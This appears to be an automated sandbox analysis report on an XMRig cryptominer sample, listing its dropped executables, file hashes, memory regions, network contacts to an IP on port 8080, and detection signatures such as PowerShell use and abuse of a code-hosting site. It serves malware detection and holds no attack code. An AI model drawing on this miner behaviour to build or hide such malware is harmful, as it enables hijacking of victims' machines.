C:\Windows\System\uqrancP.exe

C:\Windows\System\uqrancP.exe

C:\Windows\System\TeGCaZY.exe

C:\Windows\System\TeGCaZY.exe

C:\Windows\System\PhDzmIS.exe

C:\Windows\System\PhDzmIS.exe

C:\Windows\System\lRkEUUx.exe

C:\Windows\System\lRkEUUx.exe

C:\Windows\System\zJrFLOU.exe

C:\Windows\System\zJrFLOU.exe

C:\Windows\System\JMlVOha.exe

C:\Windows\System\JMlVOha.exe

C:\Windows\System\HMxmOlE.exe

C:\Windows\System\HMxmOlE.exe

C:\Windows\System\kySzhnm.exe

C:\Windows\System\kySzhnm.exe

C:\Windows\System\uEvDFNO.exe

C:\Windows\System\uEvDFNO.exe

C:\Windows\System\yyhgsjT.exe

C:\Windows\System\yyhgsjT.exe

C:\Windows\System\BjMcGqK.exe

C:\Windows\System\BjMcGqK.exe

C:\Windows\System\mwTZAtw.exe

C:\Windows\System\mwTZAtw.exe

C:\Windows\System\FEljpQz.exe

C:\Windows\System\FEljpQz.exe

C:\Windows\System\cqXVVmj.exe

C:\Windows\System\cqXVVmj.exe

C:\Windows\System\KuWRUki.exe

C:\Windows\System\KuWRUki.exe

C:\Windows\System\ZijriIt.exe

C:\Windows\System\ZijriIt.exe

C:\Windows\System\rCMixXp.exe

C:\Windows\System\rCMixXp.exe

C:\Windows\System\UraDFtO.exe

C:\Windows\System\UraDFtO.exe

C:\Windows\System\oEbrBve.exe

C:\Windows\System\oEbrBve.exe

C:\Windows\System\coTRCjw.exe

C:\Windows\System\coTRCjw.exe

C:\Windows\System\qnLJrph.exe

C:\Windows\System\qnLJrph.exe

C:\Windows\System\XDnAamv.exe

C:\Windows\System\XDnAamv.exe

C:\Windows\System\KsuWyTY.exe

C:\Windows\System\KsuWyTY.exe

C:\Windows\System\fIonjvE.exe

C:\Windows\System\fIonjvE.exe

C:\Windows\System\RRGrBdt.exe

C:\Windows\System\RRGrBdt.exe

C:\Windows\System\IFumaug.exe

C:\Windows\System\IFumaug.exe

C:\Windows\System\YqEfYGQ.exe

C:\Windows\System\YqEfYGQ.exe

C:\Windows\System\OEkVlKU.exe

C:\Windows\System\OEkVlKU.exe

C:\Windows\System\ObIZjlJ.exe

C:\Windows\System\ObIZjlJ.exe

Network

Country Destination Domain Proto
DE 3.120.98.217:8080 tcp
DE 3.120.98.217:8080 tcp
DE 3.120.98.217:8080 tcp
DE 3.120.98.217:8080 tcp
DE 3.120.98.217:8080 tcp
DE 3.120.98.217:8080 tcp

Files

memory/2072-1-0x000000013F830000-0x000000013FC26000-memory.dmp

memory/2072-0-0x0000000000170000-0x0000000000180000-memory.dmp

\Windows\system\LnyYOxg.exe

MD5 5bd8ec63fe0d465c9b25148a97952f0f
SHA1 91e2251de80682a759e65c26a9169f95937f7b90
SHA256 4279511d55f218c7ae1f72d13e5c40ea05fe1143c402144d6ad7ed52beb31e2f
SHA512 0de491a5e52de93e4835dd6996fef7a92899f2181f61b6469d574b3f62f54db019d37ca87590f05d18b3eac52efe115aede0eec1abde04aba8377abf29602411

memory/2072-8-0x000000013FFB0000-0x00000001403A6000-memory.dmp

memory/1752-13-0x000000013FFB0000-0x00000001403A6000-memory.dmp

memory/2784-14-0x000007FEF5CCE000-0x000007FEF5CCF000-memory.dmp

\Windows\system\JmhYEsw.exe

MD5 f0b3352a8a98dabd8979d2dedef88789
SHA1 9065268c84f945e23344f219c776458b959cfce7
SHA256 c6068f8bdae3fb1bf4dfd0c041b2b9c084eae614f0b62846df5f4ab72dbfb581
SHA512 1613e562399a4b5b2f0a8117735aeb5aad8095064490e25bd0f27d10c5d1fb106ca3365509c0a1d9d6647ed4af0638f1ddaf5fb4aa3b1870b93b14456897f9a1

C:\Windows\system\MCkJGUs.exe

MD5 28bf7cb6d291c16d6dfb29b856b8767c
SHA1 ab169cfe662b5972abf272e1b648b4a3cf9e5c7c
SHA256 d0862bb25099437972113d73aa68b45427efd3d02a28e1c5223289b5a96045e0
SHA512 39c80c0f0ade6276bf48d7de673962be8d3a9b048735f06183441f473852259d00fbfc906d27ae09605b8357070ada25dadc104915ad46b6b11a63efe61a9028

\Windows\system\dBfEewa.exe

MD5 407426ce4ae4706fc6a194a7b0b431ce
SHA1 ea511db0dc6fa6356b5097e7ae705855ccd1f7cd
SHA256 a56eff07fc36aa2eb8b08e76ea963c20d53630987ae2798a03c0754dbc744691
SHA512 9876a2bcead67112cdd3859bd5917a7ba59e010d15e9fcb27826b7f8b0f17d11450405529d0e9e95d6d2bc6aa1b2fa368c7432762af041a33f1f1e605572cb4c

C:\Windows\system\JSJFoxl.exe

MD5 befc9682d079186b69ac53522784b5b3
SHA1 019a9292b4297d83978dceccaddf53a0ae4b1034
SHA256 502ca4c87c9fcd6075eaaf0ea58c895bfd1e70db3fc4f6cc2075a36a9cdb5938
SHA512 59dfd5bfa1b9ba15630db3f3837967eebb1e115806d9b1b437aa658de06d23c1d1623712769496e37507027e84657b1af793f4dbd5150017c330e9d6a57ba3d1

C:\Windows\system\JFMfIwx.exe

MD5 cca3c5aa2e5b69be50d5f2f26460c351
SHA1 1ce8dceee49713d854cb6d7af2d107d3955d2b5d
SHA256 bb180a792c51aa7d830b9121d39280cce4c5d289714ca79eb3abbe7659168d6f
SHA512 806ba4e8d761533dc3e23b3826ac53bc158a96feed512654d2a86d857753554106c3204fb91a58f499171a9dcee03a270e9c9c931f6ab5ef2df6614e069074c8

C:\Windows\system\EXthcsb.exe

MD5 a6b4d7e9e38e191093e69b307e12b035
SHA1 2d573ebd9101ca096eefb6bf74a9961c87de8195
SHA256 667067ba15ed346ccc988ec00c5736bae223513df8fdddaf4a99c2468697f0dd
SHA512 fa6856f99987b0589b7caf584dd1c8e100331d241bcc0c6fc7db89d3167b6b3527ba609a8b4b2732ebfc7180085169d5927e51f5c6c495499b4aebec34f581c4

C:\Windows\system\MWhlgwX.exe

MD5 c3efca186d13d61947c4e13b5c891e5b
SHA1 b031063fb8996dd73d13541368daf8c2eea6b8cb
SHA256 5bf969277de5c25c6a65218fc061c70e71ea7ac9c0658e4364be9711c1dacd67
SHA512 761e0b8509d4a6c536bd80ea995174f4ad9906737cf06822f1953d15dab8c0f1ca034fadf346ccfd558b6b4a15fc17aba54ba8dba48d12f43741c1a93b214b68

C:\Windows\system\NPyfPkj.exe

MD5 4e89fba55ffb16ef8f48c0e4e8461a59
SHA1 dbb1192b277d26ab10ed4aa91d5d4c2a33afff62
SHA256 a020ea6854a6273f48b65811e82abd232aee1e7b0f988748d1e7725484aa612c
SHA512 5ad9f1f3a28865d0b58717c23d12623dd685a1991f42f4d27191d185766cd7e57dfc7aee0af7dc948a5c4ada0de679cb2a98d7319d39354dcce44fa14f836d89

C:\Windows\system\vAvkYiB.exe

MD5 c25525d41dcffe1f00d969545470bbe9
SHA1 d16234c47ef24c040ca095e87912b7df208bc9a9
SHA256 46e4b52446f172034b0555843303640ca6bf1e361a135c56f2c0812166a5e8ac
SHA512 16c27e6866170fe33a6e3e106fe1ef11a171a0051c06191bafdde13764a94e73212db47108f9c9713cbb80d71f567496292d7f5062773b60811838ffc5f6990e

\Windows\system\eMDXzVL.exe

MD5 d01f6444a50715f185162fba7ba84673
SHA1 04602f2edb9c558b445aa0600ae53255bdf17ddc
SHA256 244c007104b6e30590b50fd716760b0cab1d4e2c16be15e0cf3c66cb0375f545
SHA512 5304a61501c7022bc6c351bd5fb4b731b745762f3474e72a9c80ffa91c27ba798b38b2f07d968d3186abfee45dfacb8f356cf9a7387a8a364bc46e0de2c81050

C:\Windows\system\DJFJBGC.exe

MD5 bce4f34fe3bcd9500e88a8dbcd93c522
SHA1 4fae5d6ddee660407db6f493e41e5f6af88d91a9
SHA256 a5141ecfeb2617fd4fab61e9c92ded71732e10100b0abe29433fd914f62524b3
SHA512 b019be18a6393a20a2dbbec4a8f3325e656b540b6de6369689720f84364368f062c5625c912933e8e01c4e8b272216da94ea2ae3b98ffed2b01277ed36d8b9c8

C:\Windows\system\xpTknXt.exe

MD5 ed578c150a703b7cd139e29be56a56ec
SHA1 9f5f27fa47c694fb4c8f9613b0c06f0adac562e3
SHA256 ea8ad15681661fe1f7a0aa40d249bc01a5c0a35092ceb76b5933623840833d00
SHA512 99d58ae322e4eb41b0f0578863a2894b0d311fe8092379e0fd850fd668aea043d21897de6a465d953a06a6620c4563b8313b0751b06aa15eeb0706e9178d7660

\Windows\system\yzaOEjx.exe

MD5 b00c002dd1c7a749d55c9d5f8f4e0aa0
SHA1 b0e330be76ff73a618c293c168ceeb4e39cb73b1
SHA256 9aa43469032d193c4a002442a66cac92d8f8ab501740bd78d34e33d2232b8f02
SHA512 c920a2a6608e5c8d7416408e1c86dd90a734d84a7000450e72aa222f6010fb1945f40422f63259eaac646512491e4f4acf42f0747acb7e18200567133095848b

\Windows\system\wAWeJtN.exe

MD5 b57d4e1ada0efbf399f08f89294303fc
SHA1 b64dbb24a180fdcac5dd3ca4b442c1ae926b9314
SHA256 78c5aeaccb5fa094c613eeadfc641f3d6153c190f54a46df0d2c117689cf5916
SHA512 9050085f34877c5250b11c103f0569b16be096d04ecfc07731f88755a18163471be614b84a732147648501d6edbb7ae03a1ff3911f2e2a13500209b21600f462

C:\Windows\system\bNGCcai.exe

MD5 a58ae4ac45800ce213fe5e969e5c9813
SHA1 b15f81722231b032d15d4fb29a3774421f7dd850
SHA256 3ff8982564a35f79b82ea54daef413dd79a5b711d191340eb17d2235d2aa95d6
SHA512 62024874884113915379adab69268b8ce828f5e0bb9becfba79db76a51e2fe55b82b7bc026a8cac07b8a2d1ee4b96b825883c34ba42ff07884205842862ae61c

\Windows\system\arDfBjw.exe

MD5 639ae7015b0e2c9bdb86b30d6d7023a5
SHA1 ecffc68aefc8ccb1510e9c281ba4171322b5def0
SHA256 8066a07b36379100b7c56fa2b8f9267066dda781c7f613c0709b1244dc699e67
SHA512 21b65f70cef47c221fffa94de594d67f074dc279a95524966a428fd62e3863f7c0c0ce9bbfc81fe1dec0cc28ad90f531605f0f7f6a9e6484b60f09b5026d8825

\Windows\system\zGUKZVb.exe

MD5 54e70471802466303fafed77cc3d2936
SHA1 db78e662746ce3f4d2cf305d3fbe188d1d2ed52d
SHA256 c02988b5940035574adebc490e00ad1ef1bda5a84e5c8f3c85de5199457e80b3
SHA512 47aa52fe3000989a9b706a448d5a59abd2d80f082067eb172853f065bb0210ccf947513d6614358dcf8a679f50f726f7ec92b369770769d5a132484cebe23ef9

C:\Windows\system\UNEtrhX.exe

MD5 846bad2812d92b3ed179c4f55d4d5e4d
SHA1 edec7df6640b1a6e362b1bcb969a401b91670f39
SHA256 faf928f330981f4e72d42f8d9d0c27b56ea642f2bc9b453e0879b16b7c7f6f60
SHA512 0d977d8a52ad0803bf3e4cf687d4d69fe99be3bd2b6fcc101d5a2ca610e7b5a005c310aa20b0354e5a16c50a3e20f032e0453c19335dec118e5accce2bfa7766

\Windows\system\PVGPtpC.exe

MD5 d28b2df44d13b4a118586510c646efca
SHA1 77d86b53a806b129f121b2ae50a87fb6e0874e9a
SHA256 99ca60e044463a95fdd6fcd7de2966fc5581761cbb1983515b178c1c963c069b
SHA512 b1a5a04e9284bbd59b50e647029af26b99c26317e23f65d30c620e367952a8a7b668a35ed707dc7fa1244763c35fe3b47c4fbbc334f1d6a2782939d5b399a25f

\Windows\system\yTaASWN.exe

MD5 c094d022aa70df7a39261c6d32476135
SHA1 5fc15c302cdc9c059578921c3e7cf36274898e04
SHA256 3f652d3f65355bdc16f21069a8ac84f9534a9027a81099960ef9ec05e15913d1
SHA512 e870f985a38064f1471841944fa0597669817dd7dfa7ec3f60dde628e4c63e945b2c992b7f92b1cd736b03476103d214dfefc3fd932e319800aeb224e1c0db93

C:\Windows\system\fyVKGlD.exe

MD5 c572b331ee562a86d9d32b71f9411076
SHA1 4a444336fe87e05334bf2e42afc6e0f0fb7d6344
SHA256 3e9121ec8c1fd56c45f56e77ad4be9c6cb5a08a4e31775381816f09e087f3141
SHA512 b71ef089241630b0f11fe06fde79f7a551bd8a7736b2978594396c8463f008f5f65dc5b389664c163edb66668353b832bf876b52f962ccae69bb89889e1ef454

memory/2072-157-0x0000000002DE0000-0x00000000031D6000-memory.dmp

memory/2540-158-0x000000013F630000-0x000000013FA26000-memory.dmp

memory/2072-160-0x000000013FDE0000-0x00000001401D6000-memory.dmp

memory/2072-162-0x0000000002DE0000-0x00000000031D6000-memory.dmp

memory/3000-161-0x000000013FDE0000-0x00000001401D6000-memory.dmp

C:\Windows\system\BftQMkH.exe

MD5 1d82c61a543c34102f986aed1d135f24
SHA1 22ec6e85b176fc73c9ba99c2f033ccdaecbfb6f7
SHA256 799dc3d42d19ecec8296da9d578c20c83adca3f9d4e25b33e277623e38fbe615
SHA512 0bb9949543342db48c439c25e545777358db01d7360c28cc33f5314373d0b0a96d5112842937fe79ce03a19aec333bcd9f9f6a3f57864645c79ad3fd20f4a9fa

memory/2072-173-0x000000013F2D0000-0x000000013F6C6000-memory.dmp

memory/2072-175-0x0000000002DE0000-0x00000000031D6000-memory.dmp

memory/668-174-0x000000013F2D0000-0x000000013F6C6000-memory.dmp

memory/1828-171-0x000000013F980000-0x000000013FD76000-memory.dmp

\Windows\system\vuikfdn.exe

MD5 0ad51d6aed4e5dd8ad42a5bfc427ccb3
SHA1 298924bee4eea96e3e2612f98d77d666cf944b18
SHA256 0dca46bb180ec704365747b18ba07f023b6032f5ad2bac3f5db53f601b21d6db
SHA512 7dbd1be595c893fcbd400b8f6e52aeec93715d5642ff5e4f53c3f301dd3cd987d484ab501927fabe4828117f2db79198bf5356c4aab307653e81f8469e4344ac

C:\Windows\system\YCDpDIp.exe

MD5 eacc50e0ad3c134ac35acca92ad5da90
SHA1 5a018f2622f18dab67d79881c9e4496e21f209bc
SHA256 36439109d6b3e83bbfc61540e4101431646298a5b90a44fe6483074218c5b20d
SHA512 5f40d3904aae9a10e2825f78fecfb289493f1215dcb102b3f14869c1a264b6ecb0b22c842c00ade609e7e133888dea9300085b536c3153aba2ce053b5a684513

C:\Windows\system\didrMge.exe

MD5 01cae283ea61bdfbe1dc3531b25cc128
SHA1 9559cf52dd97ff6d8eb901056cac9ffdac5e1217
SHA256 240166514b0865400b27384c55bd2de3a57f21950085df6bfb3ef66e908dbf1f
SHA512 3086f1a5f6a52e0e9b580e141b0e8a373469d02bf47f3b0c7718548774ad94f4a2bdbc4389722be7c95b0314acc9e99f9737e753b41d59d4c35e8ba894867e09

memory/2784-206-0x0000000002410000-0x0000000002418000-memory.dmp

memory/2784-203-0x000000001B110000-0x000000001B3F2000-memory.dmp

memory/2784-187-0x000007FEF5A10000-0x000007FEF63AD000-memory.dmp

memory/632-186-0x000000013F4C0000-0x000000013F8B6000-memory.dmp

memory/2072-167-0x0000000002DE0000-0x00000000031D6000-memory.dmp

memory/2168-166-0x000000013FB80000-0x000000013FF76000-memory.dmp

memory/2072-151-0x0000000002DE0000-0x00000000031D6000-memory.dmp

memory/2644-150-0x000000013FD90000-0x0000000140186000-memory.dmp

memory/2072-148-0x000000013FD90000-0x0000000140186000-memory.dmp

memory/2780-147-0x000000013F550000-0x000000013F946000-memory.dmp

memory/2072-146-0x0000000002DE0000-0x00000000031D6000-memory.dmp

memory/2748-141-0x000000013FC10000-0x0000000140006000-memory.dmp

memory/2072-140-0x0000000002DE0000-0x00000000031D6000-memory.dmp

memory/2580-139-0x000000013F980000-0x000000013FD76000-memory.dmp

memory/2072-138-0x0000000002DE0000-0x00000000031D6000-memory.dmp

memory/2784-137-0x000007FEF5A10000-0x000007FEF63AD000-memory.dmp

memory/2480-155-0x000000013FB50000-0x000000013FF46000-memory.dmp

memory/2784-358-0x000007FEF5A10000-0x000007FEF63AD000-memory.dmp

C:\Windows\system\dudjoCI.exe

MD5 954d535cea2ceea1272ad822fd20ed38
SHA1 f78c0fbf09adcb9575454fd2b8d74e9c32d41d6e
SHA256 c24f6479132e1486fdc9792d592b34a5143f000f398cea6977a5e638ed8ba2d6
SHA512 0156501ec99828cb26656681ae48afc86c11cb888517b5fbf106b07cc7ce1c6c9945007986ae407d0c0ddcadcd027cef6d5575ffe76ce9d90b13bc83f1408327

\Windows\system\IvzOVkB.exe

MD5 a8915de22dc1d17a03277ccf31978771
SHA1 bb0c646be0f5d2bfe34682ba1850628b87af38c1
SHA256 1bdda15f8cd7654c3e10ca3808e46f2bd35532f63f9678c8f01573354f52d4eb
SHA512 dad89bda1e7e5ceaf628ed09477ad3d5f4f7e1842fb9522a0adbabedd090d268a4b44817745b7c4379cca01c8e23dea2a1497818307b71f514856c6471acff66

memory/2072-1057-0x000000013F830000-0x000000013FC26000-memory.dmp

C:\Windows\system\wUJsNZC.exe

MD5 4b20ba3c86745ffae4f1c56b63ec8792
SHA1 ab2050613996d1dfdd9d7e52bb7f32a71593c63e
SHA256 c7544d5b8a0269137b22494337cd3535b33cc24fd3cea16cfbd0e5e55753092c
SHA512 238b0092030c9e9d8acb2f7842ad4c96a0ee2734089a2a7aabab7496ef8320ce3fc950c0f37a5c2d18bd78d977ec7d976ed7b42d8e8f086e1dbf82c1fc982fef

C:\Windows\system\zfitQYD.exe

MD5 13946aeb2e8b767d8cc13395fa30b2cd
SHA1 ddb5276a125156a5f760b195edafd82f58aafd8d
SHA256 2eb2470aca77b934f70643e4b1a317cf2d7abd12d1df3e7550e919eb23dce798
SHA512 5111cee8ed13b633ee15ea17c74fb6152f0f6bed85e3e3085c17e58f256883ed2d2ff8ea4adb9dcfb23cd421412486b46ec9201118ce642276fa7f7693e808be

C:\Windows\system\ZiqgJkk.exe

MD5 a395a4ef09b8e9a2f4607e2359ef3d15
SHA1 7d09a386cf06e1a4ed4d121882fae33ee47e97d1
SHA256 2a47b55e1c2025b65a996631434a298bcb7b50c03f5d22d96ae89b74ab251c23
SHA512 731ddfc94e27dabb11eef4776c4e374a0addbf4ab871ca8e6580e8a6cb628146a002a716d126c1fc9db8508e6a9a0717788728158a476e3762e433462f37cdd9

C:\Windows\system\reGeKGt.exe

MD5 b7264d7f06d490a6c29438d4b649c29f
SHA1 d4f86748a6aa01244d193196cb4f591a42b00672
SHA256 adf375abd521b4f94a13b70e4f93de9f4b5c7717fa606bbabc37c4344e6f1231
SHA512 60409cad7345108753220701410f5df60a3ea921886096a0efc646038c80898eea960053a16ca0f32767f5b8928bcd8797ed614a4bd8213bd2e05da7b2d8f53c

memory/2168-2499-0x000000013FB80000-0x000000013FF76000-memory.dmp

memory/2540-2510-0x000000013F630000-0x000000013FA26000-memory.dmp

memory/2580-2498-0x000000013F980000-0x000000013FD76000-memory.dmp

memory/632-2514-0x000000013F4C0000-0x000000013F8B6000-memory.dmp

memory/1828-2531-0x000000013F980000-0x000000013FD76000-memory.dmp

memory/2072-2610-0x000000013F2D0000-0x000000013F6C6000-memory.dmp

memory/668-2506-0x000000013F2D0000-0x000000013F6C6000-memory.dmp

memory/2480-2497-0x000000013FB50000-0x000000013FF46000-memory.dmp

memory/2644-2496-0x000000013FD90000-0x0000000140186000-memory.dmp

memory/3000-2495-0x000000013FDE0000-0x00000001401D6000-memory.dmp

memory/2748-2494-0x000000013FC10000-0x0000000140006000-memory.dmp

memory/1752-2493-0x000000013FFB0000-0x00000001403A6000-memory.dmp

memory/2780-2492-0x000000013F550000-0x000000013F946000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-13 13:08

Reported

2024-06-13 13:11

Platform

win10v2004-20240508-en

Max time kernel

147s

Max time network

150s

Command Line

"C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe"

Signatures

xmrig

miner xmrig

XMRig Miner payload

miner
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Windows\System\rLYrtZf.exe N/A
N/A N/A C:\Windows\System\IxUJQwd.exe N/A
N/A N/A C:\Windows\System\febdIPx.exe N/A
N/A N/A C:\Windows\System\YgOTPhI.exe N/A
N/A N/A C:\Windows\System\pTItlOJ.exe N/A
N/A N/A C:\Windows\System\HHHiLfI.exe N/A
N/A N/A C:\Windows\System\cwhKjMU.exe N/A
N/A N/A C:\Windows\System\AETFBhF.exe N/A
N/A N/A C:\Windows\System\hLykVbo.exe N/A
N/A N/A C:\Windows\System\nTwYfXv.exe N/A
N/A N/A C:\Windows\System\xiCNElB.exe N/A
N/A N/A C:\Windows\System\Dhngzdt.exe N/A
N/A N/A C:\Windows\System\egVsrkU.exe N/A
N/A N/A C:\Windows\System\CXOWXdt.exe N/A
N/A N/A C:\Windows\System\oUwMktv.exe N/A
N/A N/A C:\Windows\System\hTZOsZX.exe N/A
N/A N/A C:\Windows\System\QkmkEXA.exe N/A
N/A N/A C:\Windows\System\ogWuxHV.exe N/A
N/A N/A C:\Windows\System\WilIFzx.exe N/A
N/A N/A C:\Windows\System\FAXxrlL.exe N/A
N/A N/A C:\Windows\System\OcfgBdM.exe N/A
N/A N/A C:\Windows\System\PUFypHa.exe N/A
N/A N/A C:\Windows\System\IlaPCVr.exe N/A
N/A N/A C:\Windows\System\fQUbAzi.exe N/A
N/A N/A C:\Windows\System\jfBgTzM.exe N/A
N/A N/A C:\Windows\System\anVKEym.exe N/A
N/A N/A C:\Windows\System\HBhniqW.exe N/A
N/A N/A C:\Windows\System\CIRFHoM.exe N/A
N/A N/A C:\Windows\System\ySxSEVI.exe N/A
N/A N/A C:\Windows\System\xKsVEdw.exe N/A
N/A N/A C:\Windows\System\yZbqFXG.exe N/A
N/A N/A C:\Windows\System\LKnwlis.exe N/A
N/A N/A C:\Windows\System\aaUMkeL.exe N/A
N/A N/A C:\Windows\System\tPdYueS.exe N/A
N/A N/A C:\Windows\System\xaxmJXy.exe N/A
N/A N/A C:\Windows\System\WGUVABE.exe N/A
N/A N/A C:\Windows\System\aJJbLoN.exe N/A
N/A N/A C:\Windows\System\qXLrfCJ.exe N/A
N/A N/A C:\Windows\System\JcYHXyo.exe N/A
N/A N/A C:\Windows\System\wZSnAhp.exe N/A
N/A N/A C:\Windows\System\KuMdkwu.exe N/A
N/A N/A C:\Windows\System\kgTEdKV.exe N/A
N/A N/A C:\Windows\System\OFrVwfO.exe N/A
N/A N/A C:\Windows\System\ZmkAjAY.exe N/A
N/A N/A C:\Windows\System\hlbFmTf.exe N/A
N/A N/A C:\Windows\System\OsZYkpZ.exe N/A
N/A N/A C:\Windows\System\lVfvvML.exe N/A
N/A N/A C:\Windows\System\yMdAJDY.exe N/A
N/A N/A C:\Windows\System\JSLNZts.exe N/A
N/A N/A C:\Windows\System\wVMfSQK.exe N/A
N/A N/A C:\Windows\System\UfSrbpr.exe N/A
N/A N/A C:\Windows\System\VfUkUhV.exe N/A
N/A N/A C:\Windows\System\ViApCHc.exe N/A
N/A N/A C:\Windows\System\HYziAFY.exe N/A
N/A N/A C:\Windows\System\LTzpFag.exe N/A
N/A N/A C:\Windows\System\epBLzrS.exe N/A
N/A N/A C:\Windows\System\gNDBfwa.exe N/A
N/A N/A C:\Windows\System\BocoIZW.exe N/A
N/A N/A C:\Windows\System\igOQBsu.exe N/A
N/A N/A C:\Windows\System\UVmpgPT.exe N/A
N/A N/A C:\Windows\System\ciUUXLE.exe N/A
N/A N/A C:\Windows\System\DxdRwmB.exe N/A
N/A N/A C:\Windows\System\wlsgCWn.exe N/A
N/A N/A C:\Windows\System\SNnlhmx.exe N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A raw.githubusercontent.com N/A N/A

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\System\FsWdDBT.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\dINQwkm.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\FrvNkMh.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\XcfxlZv.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\uaBYTHJ.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\OsZYkpZ.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\FfbuElc.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\xLsyrYN.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\kssvJTz.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\YrmcsQA.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\cUcOlCE.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\jafLtwL.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\xpBQUrL.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\UoaNVDv.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\jDhkdRE.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\cPMdWZU.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\Gqrwlut.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
